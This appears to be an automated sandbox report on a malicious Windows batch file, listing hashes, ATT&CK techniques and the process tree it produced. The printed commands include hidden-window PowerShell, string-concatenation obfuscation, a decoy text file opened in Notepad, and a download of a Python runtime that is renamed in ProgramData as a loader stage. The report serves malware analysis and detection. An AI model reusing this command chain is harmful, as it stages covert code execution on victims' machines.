b78cdf3ff3def0a9800ff193bb0d4928072e1296c7801fc095fc9e69442a333c

Analysis

max time kernel
148s
max time network
133s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
30/07/2026, 18:45

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
ztrwpdxy.bat
Size 3KB
Sample260730-xeasyaytdx
SHA256 b78cdf3ff3def0a9800ff193bb0d4928072e1296c7801fc095fc9e69442a333c
MD5 426477871ea1c1475de3ecadc3f6fb9d
SHA1 8ffa282f03b0cf980e89875c8f9b4ff426c01bec
SHA512 4060fb03076523bec3721f8f5aab86721620e0714b11b2f7965a2ea7031bde68b5f5879ff96f323a7714ccdee03c110ea28835217e078c57a4c3d7ad80913aa6
TLSH
T1A1710763DE1A5D468BB1820902CE89C1082D43C561679DFE22A7DBB8CB1822D70F779D
MD5 SHA1 SHA512 TLSH

Score

8^/10

execution

Malware Config

Signatures

Badlisted process makes network request 1 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
7	4212	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 6 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4768	powershell.exe
1640	powershell.exe
4300	powershell.exe
3348	powershell.exe
1884	powershell.exe
4212	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
2196	cmd.exe
4548	cmd.exe

Modifies registry class 3 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{088e3905-0323-4b02-9826-5d99428e115f}\Instance\	cmd.exe
Key created	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000_Classes\Local Settings	cmd.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{088e3905-0323-4b02-9826-5d99428e115f}\Instance\	NOTEPAD.EXE

Suspicious behavior: EnumeratesProcesses 14 IoCs

pid	Process
4768	powershell.exe
4768	powershell.exe
1640	powershell.exe
1640	powershell.exe
1640	powershell.exe
4212	powershell.exe
4212	powershell.exe
4212	powershell.exe
4300	powershell.exe
4300	powershell.exe
3348	powershell.exe
3348	powershell.exe
1884	powershell.exe
1884	powershell.exe

Suspicious use of AdjustPrivilegeToken 6 IoCs

description	pid	Process
Token: SeDebugPrivilege	4768	powershell.exe
Token: SeDebugPrivilege	1640	powershell.exe
Token: SeDebugPrivilege	4212	powershell.exe
Token: SeDebugPrivilege	4300	powershell.exe
Token: SeDebugPrivilege	3348	powershell.exe
Token: SeDebugPrivilege	1884	powershell.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 2196 wrote to memory of 4436	2196	cmd.exe	90
PID 2196 wrote to memory of 4768	2196	cmd.exe	91
PID 2196 wrote to memory of 4548	2196	cmd.exe	93
PID 4548 wrote to memory of 1640	4548	cmd.exe	94
PID 2196 wrote to memory of 4212	2196	cmd.exe	95
PID 2196 wrote to memory of 4300	2196	cmd.exe	97
PID 2196 wrote to memory of 3348	2196	cmd.exe	98
PID 2196 wrote to memory of 1884	2196	cmd.exe	99

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\ztrwpdxy.bat"
1⤵
- Executes a command shell one-liner
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:2196
- C:\Windows\system32\NOTEPAD.EXE
  "C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\Downloads\NF-estadual.txt
  2⤵
  - Modifies registry class
  PID:4436
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -WindowStyle Hidden -Command "& {
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4768
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c powershell -command "$a='To'+'Base64'+'String'; $b='Get'+'Bytes'; [Convert]::$a([Text.Encoding]::UTF8.$b('YRWKJLDU')).TrimEnd('=')"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4548
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -command "$a='To'+'Base64'+'String'; $b='Get'+'Bytes'; [Convert]::$a([Text.Encoding]::UTF8.$b('YRWKJLDU')).TrimEnd('=')"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1640
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "Invoke-WebRequest -URI https://www.python.org/ftp/python/3.13.0/python-3.13.0-embed-win32.zip -OutFile "C:\ProgramData\WVJXS0pMRFU.zip""
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4212
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "Expand-Archive -Path "C:\ProgramData\WVJXS0pMRFU.zip" -DestinationPath "C:\ProgramData\WVJXS0pMRFU""
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4300
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "Copy-Item -Path 'C:\ProgramData\WVJXS0pMRFU\pythonw.exe' -Destination 'C:\ProgramData\WVJXS0pMRFU\WVJXS0pMRFU.exe'"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3348
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Start-Sleep -Seconds 3"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1884

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

WVJXS0pMRFU.zip

Path C:\ProgramData\WVJXS0pMRFU.zip
Size 3.7MB
SHA256 f6e2933df00800d49995e31465b70c5973a737eefd409057e195495cb4002041
MD5 95d003d1eea110620cb62ae58c02c556
SHA1 110ae83f60591a92718005a6b7f37ffa78418a20
SHA512 cffbea44e52be98f452eac4723f1690e824a98ce997503818f8e0fcc12c1479dee1098c97e8fc348281d4d83d818d2c98c3040a08a1945a0fce97b0f6c358eee
SSDEEP 98304:Z32bfRLKZ0KN5/34xfehkQxqdCjAnvZwip5+GD3YvZhQ:525K24f4xWhwYMvnfn3YvZhQ
TLSH
T1670633EC8365343F38330410E7F559D385E45375C19A4599EA9C0AEA1E2ABCFA6FE04E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ModuleAnalysisCache

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
Size 67KB
SHA256 96952b58e7507bfbf6b1edf838d41182ae4f94e983572fa0c037be46d4ab1b05
MD5 b65d38126d60f6776d0fee761697a8ab
SHA1 fce1b1fa5ee6c386768d73e767a6bf9a04c23b30
SHA512 100a082250af816628e48f6949a2068bada9998b7bd29fa7408af7fd8d4425d03c85b92e6e2e4c08dc55e6bb56b4f31aedeaf3f4ac201e80d2cdac77353c5dd6
SSDEEP 1536:mKLg0mYo2hOovpfKQVGflJdpHYWh4iUx9R40i71Yi9MQyPcMrxoi3jiRjdvRwa5Z:mKLg0mYo2hOovpfKQVGflJd9YWqiU9Rg
TLSH
T11C636192E9204E75E1A66F3EF15622627C30394690F8113211DC25EFA987D970B1FBFE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download